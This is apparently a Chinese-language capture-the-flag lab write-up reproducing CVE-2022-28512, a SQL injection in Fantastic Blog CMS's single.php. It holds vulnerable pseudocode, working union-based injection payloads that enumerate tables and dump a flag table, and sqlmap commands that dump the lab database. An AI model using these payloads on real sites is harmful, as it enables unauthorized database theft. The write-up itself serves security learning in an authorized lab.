CVE-2022-28512漏洞复现与分析(春秋云镜)

前言

本文仅作渗透测试 技术学习与复盘使用。所有实验均在正规授权靶场开展,禁止将相关技术用于任何未授权的网络攻击行为。请遵守法律法规,合法合规学习网络安全技术。

靶标介绍

Fantastic Blog (CMS)是一个绝对出色的博客/文章网络内容管理系统。它使您可以轻松地管理您的网站或博客,它为您提供了广泛的功能来定制您的博客以满足您的需求。它具有强大的功能,您无需接触任何代码即可启动并运行您的博客。 该CMS的/single.php路径下,id参数存在一个SQL注入漏洞。

漏洞介绍

CVE-2022-28512 是一处高危未授权 SQL 注入漏洞,漏洞影响 Fantastic Blog CMS v1.0。该系统前端文章查看接口 single.php 对 id 参数未做任何过滤与合规校验,攻击者可直接构造恶意 SQL 语句,实现任意数据库查询、读取敏感数据、拖库,甚至配合业务漏洞实现权限提升与服务器控制。

该漏洞利用门槛极低,无需登录、无需任何权限、外网可直接利用,CVSS 评分高达 9.8 超危级别,是护网、渗透测试中高频出现的重点漏洞。

漏洞成因分析

Fantastic Blog CMS v1.0 的文章详情页面 single.php 在接收用户传入的 id 参数时,未对参数进行 整数强制过滤、特殊字符转义、预编译处理,直接将用户可控参数拼接至后端 SQL 查询语句中,导致存在通用 SQL 注入漏洞。

漏洞伪代码如下:

php 复制代码
$id = $_GET['id'];
$sql = "SELECT * FROM posts WHERE id = $id";

攻击者可通过单引号闭合原有SQL逻辑,拼接恶意查询语句,随意操作数据库数据。

漏洞复现原理
  1. 漏洞点位
    漏洞存在于前台公开访问接口,任何人都可以访问利用:
    http://target/fantasticblog/single.php?id=1
  2. 注入点验证
    通过单引号测试是否存在注入:
    http://target/fantasticblog/single.php?id=1'
    页面出现 SQL 语法报错,说明参数未过滤,SQL注入漏洞存在。
  3. 手工注入核心流程
    1、判断字段数:通过 order by 判断查询字段数量
    2、联合查询:使用 union select 拼接恶意查询语句
    3、查询当前数据库、数据表、字段
    4、读取用户账号、密码、后台敏感数据
  4. 工具批量检测(SQLMap)
    该漏洞特征明显,可直接使用 SQLMap 一键检测、脱库:
powershell 复制代码
sqlmap -u "http://target/fantasticblog/single.php?id=1" --dbs

打靶

点击图片跳到打靶的位置:

这里已经出现id了:

先加个'

显然是单引号闭合的SQL语句。

先找显位个数:

bash 复制代码
id=4' order by 9--+
bash 复制代码
id=4' order by 10--+

显位个数为9。

通过改变id值为负数找可以回显的点位:

bash 复制代码
id=-4' union select 1,2,3,4,5,6,7,8,9--+

爆库名:

bash 复制代码
id=-4' union select 1,2,3,database(),5,6,7,8,9--+

爆表名:

bash 复制代码
id=-4' union select 1,2,3,group_concat(table_name),5,6,7,8,9 from information_schema.tables where table_schema=database() --+
bash 复制代码
titles,page_hits,membership_userpermissions,membership_groups,blog_categories,membership_userrecords,membership_users,editors_choice,blogs,links,flag,banner_posts,membership_grouppermissions,visitor_info

有个flag表。

爆列名:

bash 复制代码
id=-4' union select 1,2,3,group_concat(column_name),5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name="flag" --+

爆数据:

bash 复制代码
id=-4' union select 1,2,3,group_concat(flag),5,6,7,8,9 from flag --+

当然,手搓是为了更好的理解原理,现在用sqlmap是更方便的。

爆库:

bash 复制代码
python sqlmap.py -u "https://eci-2ze90osvaz294b7nf7uh.cloudeci1.ichunqiu.com:80/single.php?id=4" --batch -dbs

爆ctf表:

bash 复制代码
python sqlmap.py -u "https://eci-2ze90osvaz294b7nf7uh.cloudeci1.ichunqiu.com:80/single.php?id=4" --batch -D ctf --tables

爆falg列:

bash 复制代码
python sqlmap.py -u "https://eci-2ze90osvaz294b7nf7uh.cloudeci1.ichunqiu.com:80/single.php?id=4" --batch -D ctf -T ctf --columns

爆flag字段值:

bash 复制代码
python sqlmap.py -u "https://eci-2ze90osvaz294b7nf7uh.cloudeci1.ichunqiu.com:80/single.php?id=4" --batch -D ctf -T flag --dump
相关推荐
Elastic 中国社区官方博客4 天前
教程:使用 ES|QL 进行威胁狩猎
大数据·运维·数据库·elasticsearch·搜索引擎·全文检索·安全威胁分析
菩提小狗5 天前
每日安全情报报告 · 2026-09-06
网络安全·漏洞·cve·安全情报·每日安全
酿情师6 天前
【春秋云镜】CVE-2023-30212
安全威胁分析·cve
技术小事6 天前
AI挖出6个curl漏洞 但另外23份是噪音
人工智能·网络安全·漏洞挖掘·cve·curl·ai安全
思录Echo6 天前
护网行动怎么做能避免漏判关键资产?
安全威胁分析
思录Echo6 天前
漏洞无效化技术如何实现?与传统IPS、WAF的主要区别是什么?
安全威胁分析
Sagittarius_A*8 天前
CVE-2026-42271:从 MCP stdio 测试接口看 LiteLLM 的命令执行风险与防御闭环
网络·windows·安全·cve·rce
菩提小狗10 天前
每日安全情报报告 · 2026-09-02
网络安全·漏洞·cve·安全情报·每日安全
其实防守也摸鱼11 天前
权限提升与横向移动:从内网渗透到域控的完整技术图谱
运维·服务器·数据库·安全·github·copilot·渗透
其实防守也摸鱼11 天前
免杀与持久化入门:从载荷免杀到隐蔽通道的完整指南
运维·服务器·数据库·安全·github·copilot·渗透